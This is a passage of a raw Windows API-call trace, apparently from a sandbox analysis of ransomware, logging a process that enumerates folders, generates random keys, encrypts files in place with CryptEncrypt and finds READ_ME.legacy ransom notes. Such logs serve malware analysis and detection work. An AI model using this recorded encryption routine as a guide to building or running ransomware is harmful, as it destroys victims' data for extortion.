(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243289\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.313] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243289\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\243289\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1be0 [0193.313] GetFileSizeEx (in: hFile=0x1be0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.313] ReadFile (in: hFile=0x1be0, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.313] SetFilePointer (in: hFile=0x1be0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.313] WriteFile (in: hFile=0x1be0, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.314] SetFilePointer (in: hFile=0x1be0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.314] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.314] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.314] WriteFile (in: hFile=0x1be0, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.315] WriteFile (in: hFile=0x1be0, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.315] CloseHandle (hObject=0x1be0) returned 1 [0193.318] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243292\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x235399a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x25417c04, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0xfbdd9118, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4e70 [0193.318] FindNextFileW (in: hFindFile=0x30d4e70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x235399a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x25417c04, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0xfbdd9118, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.318] FindNextFileW (in: hFindFile=0x30d4e70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2379bfc, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x2379bfc, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa42c0808, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0193.318] FindNextFileW (in: hFindFile=0x30d4e70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x235399a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x235399a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa429a5cb, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0193.318] FindNextFileW (in: hFindFile=0x30d4e70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbdd9118, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbdd9118, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbdd9118, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.318] FindNextFileW (in: hFindFile=0x30d4e70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbdd9118, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbdd9118, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbdd9118, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.318] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0193.318] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.318] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243292\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.319] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243292\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\243292\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1be4 [0193.319] GetFileSizeEx (in: hFile=0x1be4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.319] ReadFile (in: hFile=0x1be4, lpBuffer=0x5c34c8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.319] SetFilePointer (in: hFile=0x1be4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.319] WriteFile (in: hFile=0x1be4, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.319] SetFilePointer (in: hFile=0x1be4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.319] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.319] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.320] WriteFile (in: hFile=0x1be4, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.320] WriteFile (in: hFile=0x1be4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.321] CloseHandle (hObject=0x1be4) returned 1 [0193.322] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.322] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0193.322] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243292\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.322] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243292\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\243292\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1be4 [0193.323] GetFileSizeEx (in: hFile=0x1be4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.323] ReadFile (in: hFile=0x1be4, lpBuffer=0x5c3478, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.323] SetFilePointer (in: hFile=0x1be4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.323] WriteFile (in: hFile=0x1be4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.323] SetFilePointer (in: hFile=0x1be4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.323] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.323] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.323] WriteFile (in: hFile=0x1be4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.324] WriteFile (in: hFile=0x1be4, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.324] CloseHandle (hObject=0x1be4) returned 1 [0193.325] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279978\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfed624f3, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xaabc7b4a, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xfbdd9118, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4db0 [0193.325] FindNextFileW (in: hFindFile=0x30d4db0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfed624f3, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xaabc7b4a, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xfbdd9118, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.326] FindNextFileW (in: hFindFile=0x30d4db0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x747c72d3, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x747ed538, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x74813784, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x1053e, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1504773412", cAlternateFileName="150477~1")) returned 1 [0193.326] FindNextFileW (in: hFindFile=0x30d4db0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9f85044, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0xa9f85044, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xa9fab273, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x111a0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1506430071", cAlternateFileName="150643~1")) returned 1 [0193.326] FindNextFileW (in: hFindFile=0x30d4db0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfed624f3, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xfed624f3, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xa06de074, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0193.326] FindNextFileW (in: hFindFile=0x30d4db0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfed624f3, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xfed624f3, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xa06de074, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0193.326] FindNextFileW (in: hFindFile=0x30d4db0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbdd9118, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbdd9118, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbdff375, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.326] FindNextFileW (in: hFindFile=0x30d4db0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbdd9118, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbdd9118, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbdff375, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.326] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.326] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.326] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279978\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.326] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279978\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279978\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1be8 [0193.327] GetFileSizeEx (in: hFile=0x1be8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.327] ReadFile (in: hFile=0x1be8, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.327] SetFilePointer (in: hFile=0x1be8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.327] WriteFile (in: hFile=0x1be8, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.327] SetFilePointer (in: hFile=0x1be8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.327] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.327] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.327] WriteFile (in: hFile=0x1be8, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.328] WriteFile (in: hFile=0x1be8, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.328] CloseHandle (hObject=0x1be8) returned 1 [0193.329] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.329] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.329] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279978\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.330] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279978\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279978\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1be8 [0193.330] GetFileSizeEx (in: hFile=0x1be8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.330] ReadFile (in: hFile=0x1be8, lpBuffer=0x5c3478, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.330] SetFilePointer (in: hFile=0x1be8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.330] WriteFile (in: hFile=0x1be8, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.330] SetFilePointer (in: hFile=0x1be8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.330] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.330] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.331] WriteFile (in: hFile=0x1be8, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.331] WriteFile (in: hFile=0x1be8, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.332] CloseHandle (hObject=0x1be8) returned 1 [0193.333] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0193.333] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.333] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279978\\1506430071", dwFileAttributes=0x80) returned 1 [0193.333] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279978\\1506430071" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279978\\1506430071"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1be8 [0193.334] GetFileSizeEx (in: hFile=0x1be8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=70048) returned 1 [0193.334] ReadFile (in: hFile=0x1be8, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x111a0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x111a0, lpOverlapped=0x0) returned 1 [0193.342] SetFilePointer (in: hFile=0x1be8, lDistanceToMove=-70048, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.342] WriteFile (in: hFile=0x1be8, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x111a0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x111a0, lpOverlapped=0x0) returned 1 [0193.342] SetFilePointer (in: hFile=0x1be8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x111a0 [0193.342] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.342] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, 